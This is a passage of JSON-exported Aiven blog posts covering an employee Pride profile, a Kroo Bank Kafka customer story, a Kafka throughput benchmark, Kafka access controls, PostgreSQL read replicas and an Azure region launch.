the passion and desire to learn more about social justice and human rights. “I wanted to create equitable policies for women, the LGBTQ+ community, and other marginalized groups. This is what motivated me to go into HR.” He wanted to influence the experience of those most impacted by the system.\n\nA big influence in Ale’s own life has been his brother, a family member by choice. He met his brother at the age of seven through Big Brothers Big Sisters of Canada. “He helped give me the confidence to, unapologetically, be who I am, whether in relation to my sexuality, my career, even so far as how I engage with family and friends.”\n\nThe other strong influence in his life has been his mom. “She accepted and showed up for me. She knew the battles I would face in the world and removed those at home. The psychological safety she created has helped my ability to navigate healthy relationships. I am secure. So many of my friends didn’t have that.”\n\nThat psychological safety at home is what Ale and Proud Crabs have created for colleagues at Aiven. Proud Crabs provides “a safe space for community members to connect, learn, and educate, by sharing views, knowledge and interests. We continue to make Aiven an LGTBQ+ positive workplace by bringing attention to issues where Aiven can do better.”\n\n## Our Proud Crabbies \n\nOne way Ale and Proud Crabs have made Aiven a better place is through the introduction of a gender transition support program. This program makes available information and financial support to reimburse the costs associated with changing one’s legal name and gender.\n\n“From the top down at Aiven, there is a commitment to support ERGs and Proud Crabs.” Ale says that aside from the support of Aiven’s leadership and allies, it is our values of Ownership, Courage and Openness that allow Proud Crabs to take control of the narrative and tell their own story as to what it’s like to be at Aiven.\n\nTo Ale, Pride is about, “celebrating the highs, mids and lows of the queer experience. I see Pride as a protest in the face of the injustice that still occurs today. Pride ensures we continue to carry and push forward the fight for equality.”\n\nWhilst Aiven is at the start of its DEI journey, it’s heading towards a hopeful future. We are fortunate for courageous Crabs like Ale who bring attention to matters where Aiven can do better. With Ale’s help, we know we will build a stronger sense of community and inclusion, where all our Crabs can show up and thrive as their authentic and true selves.\n\nThank you Ale, for sharing your story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers/job). And keep your eyes peeled (sideways) for more content on the blog as we continue to take a peek under our shell and uncover Life at Aiven.\n\n*Visual Basic is a trademark of the Microsoft group of companies.*\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). ","categories":[{"_key":"78630bfe5c9e","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"8d971003fe31","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"ce16a4d1ebf3","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Keeping the pride alive at Aiven. A picture of Alessandro Barone, our People Operations Lead for North American and APAC. The cuddly Aiven crab logo is at the bottom left.","asset":{"_ref":"image-9c7f227bcff02eb58047d37484c16f889485bf44-2000x1078-jpg","_type":"reference"}},"publishedAt":"2023-06-07T07:28:00.213Z","seo":{"_type":"metaData","metaDescription":"Alessandro Barone, People Ops Team Lead and LGBTQ+ advocate, explains what led him to Aiven and the value of authenticity. Find out more! ","metaTitle":"Leading with Pride | Empowering Diversity at Aiven"},"slug":{"_type":"slug","current":"/blog/leading-with-pride"},"subtitle":"Meet Alessandro Barone, Team Lead People Operations North America and Asia-Pacific, and our LQBTQ+ community lead, as he explains what led him to Aiven, and why embracing differences and being true to yourself is everything. ","title":"Leading with Pride "} {"__i18n_lang":"en","_createdAt":"2024-12-05T07:58:30Z","_id":"feda5e84-0fd3-4e9d-9c48-1b6be1022ffc","_rev":"lbpMA3MBWy0eIji4xIHfoU","_type":"post","_updatedAt":"2024-12-05T08:11:06Z","authors":[{"_key":"677700fb59f6","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"## Company growth and burgeoning volumes of data\nFrom the beginning, Kroo’s architecture was designed with future scalability in mind, using PostgreSQL® as its database and Apache Kafka® as the mechanism for message distribution. By embracing an asynchronous infrastructure, Kroo can also independently scale different parts of its system, improving efficiency and responsiveness.\n\nAfter securing its full UK banking license in 2022, Kroo launched its current account. In the next 12 months alone, it secured an impressive 150,000 customers. This led to increased transaction and data volume. \n\n## Limitations of self-managed Kafka cluster\nFadeev told me, “This growth had an impact on our thinking. Our Kafka cluster had never failed us. The asynchronous set-up meant that scaling one part of the system didn’t put too much stress on the rest. Our worst-case scenario was that we built up some queues somewhere, but we could still scale other parts.”\n\nBut would it hold up under ever-growing amounts of data traffic? One challenge was that the bank’s storage capacity was approaching its limits as data volumes increased. As Fadeev describes it: “We had our self-hosted Kafka deployed in Amazon ECS, but with Amazon EBS volumes.”\n\nHe and the team spent a lot of time figuring out how to achieve the scale they needed. Eventually, they switched to Debezium Change Data Capture, which relies on the write-ahead log in the database to capture updates reliably and enables a rapid and automated response to changes in the database.\n\n![Kroo Bank - blog image 1](https://go.aiven.io/l/890043/2024-12-05/vrfct/890043/1733384227fv7DlULZ/image1.jpg)\n## Moving to Aiven for Apache Kafka®\nFacing the limitations of their existing infrastructure, Fadeev decided they needed a managed solution. That's when Kroo partnered with Aiven to leverage Aiven for Apache Kafka.\n\nKroo was experiencing a pattern we had seen many times before — a growing business choosing to offload the management of on-premises or self-managed technologies into the cloud in order to focus development time on revenue-generating activities.\n\nI asked Fadeev how the team at Kroo was optimizing Kafka in its managed state for both performance and data observability.\n\n“There are no magic tricks here,” he told me. “We mainly use the defaults from the Kafka cluster, which work well for our use case. One key optimization was to enable Zstandard compression in Kafka. Around 90% of Kroo’s data flows into Kafka through the Kafka Connector, so enabling compression as a global setting benefited nearly every topic. We enabled compression for the 10% of data that flows through Kafka Streams as well.”\n\nFrom Fadeev’s perspective, having access to Aiven’s expertise meant they could make the right decisions around default settings and configurations. “Configuration options can exceed 300 settings,” he rightly notes. “It's pretty cool that we can just rely on defaults, and it will work.”\n\n## A multi-cloud journey\nAnother topic we discussed was the need for a multi-cloud infrastructure. It’s increasingly becoming a regulator requirement in some industries — and an important part of many business continuity plans.\n\nCurrently, Kroo’s main provider is AWS, and most of its workloads are also on AWS. Its setup is pretty simple. It has a single region with multiple availability zones, which is fairly standard for startups and small companies.\n\nBut Kroo is now on the way to adopting multi-cloud provisioning. It has started using Google Cloud for some workloads, like BigQuery, and uses Vertex AI for some products. “Being a fintech and operating as a licensed bank means we’re in a heavily regulated environment,” says Fadeev. “So we have to think about disaster recovery — not just because it’s the right thing to do, but to ensure that regulators are satisfied with our approach.”\n\n“Currently, we are focused on being able to roll our services out to different regions. We have a structure for our databases, so we keep backups available in multiple regions. That allows us to quickly spin up database replicas in a different region,” Fadeev says.\n\nIt’s a familiar multi-cloud journey among our customers. Fortunately, the ability to clone or move an Aiven service from one region to another in the same cloud is broadly the same as moving it to a different cloud, with everything being persisted without downtime.\n\n## Value of open source\n![Kroo Bank - Andrey's quote](https://storage.pardot.com/890043/1733384227chzLAnIb/KrooSocialCard.png)\n\nLastly, Fadeev also highlighted the crucial role of open source in Kroo's success, emphasizing how it drives cost efficiency and enhances business value. A key factor in Kroo's decision to partner with Aiven was the ability to maintain close alignment with the open-source Kafka ecosystem.\n\nHaving access to the Kafka community and ecosystem is a significant asset for growing businesses. It gives them access to technologies that accelerate growth without being locked into a single vendor.\n\n“We were looking for ways to eliminate the headache of maintenance and version upgrades,” says Fadeev. “What we have out-of-the-box is pretty standard and close to the open-source version of Kafka. It’s one reason why Aiven has worked really well for us.”\n\n“For example, Kroo has around 70 or 80 connectors, essentially the number of services with their own databases that need to publish events to Kafka. It's quite a high number,” Fadeev says. “But we know the load isn’t too high, so we can fit all those connectors into a relatively small Kafka Connect deployment.”\n\n## Unlocking cost-efficiencies with tiered storage \nSo what’s next for Fadeev and for Kroo? What’s the next evolution of its architecture and infrastructure?\n\nFadeev is excited to explore tiered storage for Kafka from Aiven which allows users to offload to cheaper storage for larger queues. “Currently, we have a fairly restrictive retention policy set to around two weeks or maybe a month for some topics. If we can increase that retention for specific topics, especially to an infinite retention policy, it would help optimize costs significantly.”\n\nAnother focus will be on streaming and streaming applications. With Kafka in place, mainly for asynchronous communication between microservices, there’s an untapped opportunity to use it for real-time data streaming and data pipelines.\n\n## Enabling data scientists\nKroo also wants to open up its data platform to more of its data teams, particularly those in data science, so they can build more real-time applications. “We’re currently using Vertex AI for some tasks, like automatic alert closure, which has significantly reduced the operational team's workload by handling many false positives,” Fadeev says.\n\n“We expose only the bits of data they need, rather than opening the entire Kafka cluster. Right now, the microservices control the data, using Kafka as a bus to communicate. We need to ensure that the data is in the right shape and that its quality is maintained.”\n\nIt’s a challenge that many companies face when exposing data across their organization. But it is one that I am sure Fadeev, and the wider team at Kroo, will overcome. I am very much looking forward to seeing what they accomplish next. \n","categories":[{"_key":"ecb39572c79b","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"66a5c449a9b6","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9d7b21d9bdfc","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"97e3f99b-6840-4d42-9e75-f774e767baee","_type":"reference"},"previewImage":{"_type":"mainImage","asset":{"_ref":"image-316b332fdd52d1fe67609a076cf845e066694647-1200x628-png","_type":"reference"}},"tags":[{"_key":"22eaaab194c1","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"},{"_key":"4ca0b7f3bf95","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"b61140c15d1c","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"}]},"mainImage":{"_type":"mainImage","asset":{"_ref":"image-316b332fdd52d1fe67609a076cf845e066694647-1200x628-png","_type":"reference"}},"publishedAt":"2024-12-05T08:00:53.118Z","slug":{"_type":"slug","current":"/blog/how-data-stack-modernization-is-helping-kroo-bank"},"subtitle":"The UK’s fintech market is crowded, but Kroo Bank is making waves as one of the top four digital-only banks. I recently spoke to Andrey Fadeev, Staff Software Engineer at Kroo Bank, who shared his insights on how Kroo is leveraging data stack modernization to support growth and drive competitive edge.","title":"How Data Stack Modernization is Helping Kroo Bank Secure its Challenger Status"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"28ANz15FwDeg2Ggr5LcGTU","_rev":"ZgPiUE9lJ1tcRKuFnZXCqn","_type":"post","_updatedAt":"2024-07-11T09:17:48Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We have offered a fully managed Kafka service for some time now, and we are quite often asked about just how many messages can you pipe through a given service plan tier on a selected cloud. So here's a benchmark we conducted to give you a rough idea on just how well Apache Kafka performs in the public cloud.\n\nThis is the first post in a series that explores Kafka performance on multiple public cloud providers.\n\n## What is Kafka?\n\nApache Kafka is a _high-performance open-source stream processing platform_ for collecting and processing large numbers of messages in real-time. It enables you to accept streaming data such as website click streams, events, transactions or other telemetry in real-time and at scale, and serve it downstream to stream processing applications.\n\nKafka is built distributed for both scalability as well as fault tolerance. Adding more horizontal nodes to tackle growing loads is fairly straightforward and automatic replication of the data over more than one node maintains availability when nodes fail.\n\nThe basic concepts in Kafka are **producers** and **consumers**.\n\nA **producer** is an application that generates data but only to provide it to some other application.\n\nAn example of a **producer** application could be a web server that produces \"page hits\" that tell when a web page was accessed, from which IP address, what the page was and how long it took to render the page by the web server.\n\nOn the **consumer** side there could be multiple systems interested in the same page hit data stream:\n\n* A time series database that is used to plot the total number of page hits over time\n* A reporting application collecting summaries of the pages accessed and sending them to a data warehouse database system\n* A DDoS detection system trying to find abnormal access patterns\n* A rate limiting monitor counting the number of hits from a specific source address\n* And so on...\n\nKafka suits these kinds of applications very well: it provides a method of getting the data out of the hands of the producing application quickly and safely. Once the producer has written the message to Kafka, it can be sure that its part of the job is done. The producer application does not need to know how the data is used and by which applications, it just stores it in Kafka and moves on.\n\nOn the consumer side a powerful feature of Kafka is that it allows multiple consumers to read the same messages. In our web page hit example above, each of the consumer applications get their own read cursor to the data and they can process the messages at their own pace, all without causing any performance issues or delays for the producer application.\n\nHere's what it roughly looks like:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/5d9c70e99f5efc219f79ea2611b5dd31215e5928-400x300.png)\n\nThe Zookeeper cluster is a critical piece in keeping Kafka healthy and up and running. It maintains Kafka's metadata and most importantly, a consensus between the Kafka nodes of who is doing what.\n\n## Aiven Kafka as a Service\n\nAiven Kafka is a a fully managed service based on the Apache Kafka technology. Our aim is to make it as easy as possible to use Kafka clusters with the least amount of operational effort possible. We handle the Kafka and Zookeeper setup and operations for you, so you can focus on value-adding application logic instead of infrastructure maintenance. Aiven Kafka services can be launched in minutes, and we'll ensure they remain operational, well performing, up-to-date and secure at all times. Nodes are automatically distributed evenly across the available availability zones in order to minimize the impact of losing any of the zones.\n\nAiven Kafka is available in **Amazon Web Services**, **Microsoft Azure**, **Google Cloud Platform**, **UpCloud** and **DigitalOcean** with a total coverage of 53 cloud regions. In this performance comparison we ran the benchmark on all of these except DigitalOcean, where our Kafka offering is limited by the available plans.\n\nEach Kafka service used in these tests is a regular Aiven-provided service with no alterations to its default settings.\n\n## Benchmark Setup\n\nIn this first Kafka benchmark post, we set out to estimate maximum _write throughput rates_ for various Aiven Kafka plan tiers in different clouds. We wanted to use a typical customer message sizes and standard tools for producing load. We also wanted to generate the load from separate systems over the network to make sure the load could mimic the actual customer workloads as closely as possible.\n\nHigh-level view of the test setup, a single Aiven Kafka service with five nodes, distributed evenly over the availability zones:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/f098f2d9be5502a41756e32c173f25db95cbe963-400x300.png)\n\nWe picked message size of 512 bytes for our tests. Based on our experience, one of the most typical payloads is a JSON encoded message ranging somewhere between 100 bytes to 10 kilobytes in size.\n\nIn these tests, we use a single topic with the partition count matching the node count of each Aiven plan tier. For more complex topic/partition setups Aiven actively balances the placement of the partitions, trying to achieve a \"perfect\" distribution of partitions. In the case of this test there is just a single partition for each node, so this is rather simple. We set the replication factor to one (1) in the case of this test, meaning each of the messages only resides on a single Kafka node.\n\nApache Kafka version used was 0.10.1.1.\n\nFor load generation, we chose to use [librdkafka](https://github.com/edenhill/librdkafka) and [rdkafka_performance](https://github.com/edenhill/librdkafka/blob/master/examples/rdkafka_performance.c) from the provided examples. We are using default settings for the most part, but bumped up single request timeout to 60 seconds as we expect the Kafka brokers to be under extreme load and request processing to take longer than under a normal healthy load level. Also, since Aiven Kafka services are offered only over encrypted TLS connections, we included the configuration for these, namely the required certificates and keys.\n\nlibrdkafka defaults to a maximum batch size of 10000 messages or to a maximun request size of one million bytes per request, whichever is met first. In these tests, we did not employ compression.\n\nproducer.props configuration:\n\n```\n metadata.broker.list=target-kafka.benchmark.aivencloud.com:10947\n security.protocol=ssl\n ssl.key.location=client.key\n ssl.certificate.location=client.crt\n ssl.ca.location=ca.crt\n request.timeout.ms=60000\n```\n\nWe ran several instances of rdkafka_performance on multiple VMs on a different cloud provider from the one being tested. So all of the test load was coming from the internet thru the nodes' public network interfaces.\n\nWe kept increasing the number of instances until we could find the saturation point and the maximum message rates for each plan.\n\nEach rdkafka_performance instance was started on the command line with:\n\n```\nrdkafka_performance -P -s 512 -t target-topic -X file=producer.props\n```\n\n## Benchmark Results\n\nFirst set of tests was run on an Aiven Kafka Business-4 plan, which is a three node cluster and a common starting point for many of our customers. Each node in this plan has 4 gigabytes of RAM, a single CPU core and 200 gigabytes of disk on each node, providing a total 600 gigabytes of raw Kafka storage capacity in the cluster.\n\nWrite performance (3 nodes @ 4 GB RAM, 1 CPU, 200 GB disk each):\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436-400x300.png)\n\nOn UpCloud, we hit 200,000 messages per second. Azure and Google plans saturated at 120,000 and 130,000 messages per second and the Amazon deployment reached 50,000 messages per second.\n\nThe performance is pretty respectable. The performance on Amazon is a bit behind the others because of the node types available and we will be looking at ways to optimize that in the future. As you will see in the next graph for the test with the bigger plan, the AWS performance is already more in line with the other providers.\n\nNext, we tested three node clusters but with larger underlying instances using the Business-8 plan. This plan has nodes with 8 gigabytes of RAM, two CPU cores and 400 gigabytes of disk per node, i.e. all the primary resources are doubled when compared to the Business-4 plan. This test indicates how well Kafka scales vertically with increased resources.\n\nWrite performance (3 nodes @ 8 GB RAM, 2 CPU, 400 GB disk each):\n\n![](//cdn.sanity.io/images/sczeoy4w/production/87eb128e6af0e08eca0f231b8b39a2d7e93f950b-400x300.png)\n\nWe see a nice increase in performance, with 320,000 messages per second on UpCloud, 205,000 on Azure, 170,000 on Google and 160,000 messages per second on AWS.\n\nIn the last test, we wanted to verify how well Kafka scales horizontally. With this test, we went from the Business plan tier to the Premium tier, which bumps the node count from three to five, while keeping the node specs otherwise identical. Also the test setup was updated to utilize a partition count of five (vs. three) for this test.\n\nWrite performance (5 nodes @ 8 GB RAM, 2 CPU, 400 GB disk each):\n\n![](//cdn.sanity.io/images/sczeoy4w/production/1acdea0ec6591e590a49724fdac8a0bb2fd7c25f-400x300.png)\n\nThe results here are solid for Kafka: a two-thirds increase in the number of nodes resulted in a straight 2/3 increase in write performance. Awesome!\n\nAiven Kafka Premium-8 on UpCloud handled 535,000 messages per second, Azure 400,000, Google 330,000 and Amazon 280,000 messages / second.\n\n## Benchmark Conclusions\n\nApache Kafka performs just as well as we expected and scales nicely with added resources and increased cluster size. We welcome you to benchmark your own workloads with Aiven and to share your results.\n\nWe utilize Kafka as a message broker within Aiven as well as use it as a medium for piping all of our telemetry metrics and logs. We are happy with with our technical choice, and can recommend Apache Kafka for handling all kinds of streaming data.\n\nFind out more about Aiven Kafka at [aiven.io/kafka](https://aiven.io/kafka).\n\n## Further reading\n\n- [Kafka v. RabbitMQ - a comparison](https://aiven.io/blog/kafka-v-rabbitmq-a-comparison)\n","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2017-03-30T18:03:00.001Z","seo":{"metaDescription":"Read our popular post that reviews Apache Kafka's raw write throughput performance in AWS, Azure, Google, and UpCloud.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Benchmarking Apache Kafka Performance Part 1: Write Throughput"},"slug":{"_type":"slug","current":"/blog/benchmarking-kafka-write-throughput"},"subtitle":"Read our popular post that reviews Apache Kafka's raw write throughput performance in AWS, Azure, Google, and UpCloud.","title":"Benchmarking Apache Kafka Performance Part 1: Write Throughput"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5B5i1J33DaNFC1hstMMocV","_rev":"aqN8LslQ3cZYmtCXIvOzGx","_type":"post","_updatedAt":"2024-02-09T09:47:14Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We're happy to announce user and topic level access controls for Aiven for Apache Kafka service. You can now create multiple users with separate access credentials each, and control produce and consumer privileges on user and topic basis.\n\nBoth users and access control lists can be managed on the Aiven Console under the Users tab on the service details page.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/1eb22c3987ed9c604adc3f04f0873b0badaa2274-400x275.png)\n\n### Managing users\n\nAll users and the user specific access certificate and key are listed and available on the Users tab. The password is usable with Kafka REST service.\n\nYou can add users with the Add service user... button or remove existing users with Remove...\n\nReset password... button on the right both resets Kafka REST password as well as revokes and recreates access key and certificate for the specific user.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51-400x275.png)\n\n### Managing Access Control Lists\n\nAccess Control Lists manage user privileges to consume from or produce to a topic. \n\n![](//cdn.sanity.io/images/sczeoy4w/production/b2c23223d4516c0ec8d7fe9250bea3132f01c0fd-400x275.png)\n\nUsers can either be explicit users, or user masks with wildcard characters * and ?. Star matches a string of characters, question mark matches any single character in it's place.\n\nSimilarly, topics can be specified as explicit topics as well as wildcard matches.\n\nGrants can be either Produce, Consume or Full Access for both.\n\nBy default, the access is allowed for all configured users to both produce and consume on all topics. You can delete ACL entries on row by row basis.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/eddf87545a9d50123f00dc73f5703fa67c7d9662-400x275.png)\n\n### Give Aiven services a whirl\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, OpenSearch and Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2017-08-23T09:17:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka now provides user and topic-level control. Find out how this feature will help you manage users and access more effectively.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Kafka users and access control"},"slug":{"_type":"slug","current":"/blog/kafka-users-and-access-control"},"subtitle":"Aiven for Apache Kafka now provides user and topic-level control. Find out how this feature will help you manage users and access more effectively.","title":"Kafka users and access control"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5kevmFm6Oud24SY5v3nMZf","_rev":"E7yqJcdu3p6SmgvthW9jro","_type":"post","_updatedAt":"2023-12-12T13:43:25Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We are happy to announce that we have enabled read-only replica access to all of our PostgreSQL plans that have one or more standby nodes. Utilizing the standby server nodes for read-only queries allows you to scale your database reads by moving some of the load away from the master server node to the otherwise mostly idle replica nodes.\n\n### What are master and standby nodes?\n\nPostgreSQL **master** node is the primary server node that processes SQL queries, makes the necessary changes to the database files on the disk and returns back the results to the client application.\n\nPostgreSQL **standby** nodes replicate (which is why they are also called \"**replicas**\") the changes from the master node and try to maintain an up-to-date copy of the same database files that exists on the master.\n\nStandby nodes are useful for multiple reasons:\n\n* Having another physical copy of the data in case of hardware/software/network failures\n* Having a standby node typically reduces the data loss window in disaster scenarios\n* Restoring the database back to operation is quick by a controlled failover in case of failures, as the standby is already installed, running and in-sync with the data\n* Standby nodes can be used for read-only queries to reduce the load on the master server\n\n### What is the difference between having 0, 1 or even 2 standby nodes?\n\nAiven offers PostgreSQL plans with different number of standby server nodes in each:\n\n* **Hobbyist** and **Startup** plans have just a single master node and _no standby nodes_\n* **Business** plans have one master node and _one standby node_\n* **Premium** plans have one master node and _two standby nodes_\n\nThe difference between the plans is primary the behavior during failure scenarios. The are many bad things that can happen to cloud servers (or any server in general): hardware failures, disk system crashes, network failures, power failures, software errors, running our of memory, operator mistakes, fires, floods and so on.\n\nSingle node plans are **most prone to data loss during failures**. For example, if the server power suddenly goes out, some of the latest database changes may not have made it out from the server into backups. The size of the data loss window is dependent on the backup method used.\n\nSingle node plans are also the **slowest to recover** back to operation from failures. When the server virtual machine fails, it takes time to launch a new virtual machine and to restore it from the backups. The restore time can be anything from a couple of minutes to several hours, the primary factor in it being the size of the database that needs to be restored.\n\nAdding a **\"hot\" standby node** helps with both of the above issues: the data loss window can be much smaller as the master is streaming out the data changes in real-time to the standby as they happen. The \"lag\" between the master and standby is typically very low, from tens of bytes to hundreds of bytes of data.\n\nAlso recovery from failure is much faster as the standby node is already up and running and just waiting to get the signal to get promoted as the master, so that it can replace the old failed master.\n\nWhat about having two standby nodes? What is the point in that?\n\nThe added value of having a second standby node is that even during recovery from (single-node) failures, there are always two copies of the data on two different nodes. If another failure strikes after a failover when there is just a single master node running, we again risk losing some of the latest changes written to the database. It takes time to rebuild a new standby node and getting it in sync node after a failover when there is a lot of data in the database, and it often makes sense to protect the data over this time period by having another replica. This is especially important when the database size is large and recreating a replacement node for the faulted one can take hours.\n\n### Using standby nodes for read-only queries\n\nStandby nodes are also useful for distributing the load away from the master server. In Aiven the replica nodes can be accessed by using the separate \"Read-only replica URL\" visible in the Aiven web console:\n\n![pg-v13-read-replica-console-screenshot](//cdn.sanity.io/images/sczeoy4w/production/cabc163e1444f6ec699048466e08172471a93e35-2892x2178.png)\n\nUsing the replica URL in a database client application will connect to one of the available replica server nodes. Previously replica node access was only available in our Premium plans (master + two standbys) and now we have enabled it in our Business plans (master + one standby) as well.\n\nSo if you have had high CPU usage on the master node of your Startup plan, it may be worthwhile looking into the possibility of increasing your read throughput by using the replica servers for reads. Of course in addition by using a Business plan you'll also make the service have better high availability characteristics by having a standby to fail over to.\n\nA good thing to note is that since the PostgreSQL replication used in Aiven PostgreSQL is asynchronous there is a small replication lag involved. What this means in practice is that if you do an INSERT on the master it takes a while (usually much less than a second) for the change to be propagated to the standby and to visible there.\n\n### Replica Usage\n\nTo start using your read-replica find its database URL and after that you can connect to it by copying the Read-only replica URL:\n\n```\n$ psql postgres://avnadmin:foo@replica.demopg.demoprj.aivencloud.com:10546/defaultdb?sslmode=require\npsql (9.6.1, server 9.6.1)\nSSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-\nAES256-GCM-SHA384, bits: 256, compression: off) Type\n\"help\" for help.\n\ndefaultdb=\u003e\n```\n\nAfter which you can run any read-only query without slowing down the master.\n\nAlso while connected, PostgreSQL can tell you whether you're connected to either a master or standby node. To check that out you can run:\n\n```\ndefaultdb=\u003e SELECT * FROM pg_is_in_recovery();\npg_is_in_recovery\n----------------------\nt\n(1 row)\n```\n\nIf it returns `TRUE` you're connected to the replica, if it returns `FALSE` you're connected to the master server.\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading \n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-12-28T19:24:00.000Z","seo":{"metaDescription":"PostgreSQL read-only replicas increase read throughput and take some load off of your master node. We go into great detail in this latest post, check it out.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® read-only replicas"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-read-only-replicas"},"subtitle":"PostgreSQL read-only replicas increase read throughput and take some load off of your master node. We go into great detail in this latest post, check it out.","title":"Aiven for PostgreSQL® read-only replicas"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"XoaoK7MK66lzOVNjY9MlL","_rev":"neae7oL4y1FotDvvR2O1Bu","_type":"post","_updatedAt":"2024-07-09T14:01:41Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We are proud to announce that Aiven is now available in the **Microsoft Azure** cloud!\n\nThe services available initially at launch in Microsoft Azure are [Aiven for PostgreSQL](/postgresql), [Aiven for Caching](/redis), [Aiven for OpenSearch](/opensearch), [Aiven for Apache Kafka](/kafka), [Aiven for InfluxDB](/influxdb) and [Aiven for Grafana](/grafana).\n\nMicrosoft Azure is a leading global cloud provider and what makes them special is their high number of data centers around the world, currently totaling 30+.\n\nAll Aiven services will be available in all generally available Azure regions, bringing nineteen new cloud regions to Aiven and setting the total number of supported data centers to 47, making us the cloud database provider with the widest geographic availability in the world!\n\nThe first batch of new cloud regions _immediately available_ are from Azure North America and Europe. Azure Asia and South America regions will follow soon and will be available in the upcoming weeks.\n\nHere's an updated world map showing our supported data center locations. The new Azure regions are the light blue ones:\n\n[![](//cdn.sanity.io/images/sczeoy4w/production/153ec55eabaace9a3bd334a92f861ab6fa3a0fde-640x234.png)](/)\n\nMicrosoft Azure provides numerous services from computing resources to higher level services like machine learning. See [azure.microsoft.com](https://azure.microsoft.com/) for more information about their services.\n\nThe new Aiven regions that are immediately available are:\n\n* United States\n\n* Iowa - Azure: Central US\n\n* Virginia - Azure: East US\n\n* Virginia - Azure: East US 2\n\n* Illinois - Azure: North Central US\n\n* Texas - Azure: South Central US\n\n* California - Azure: West US\n\n* Washington - Azure: West US 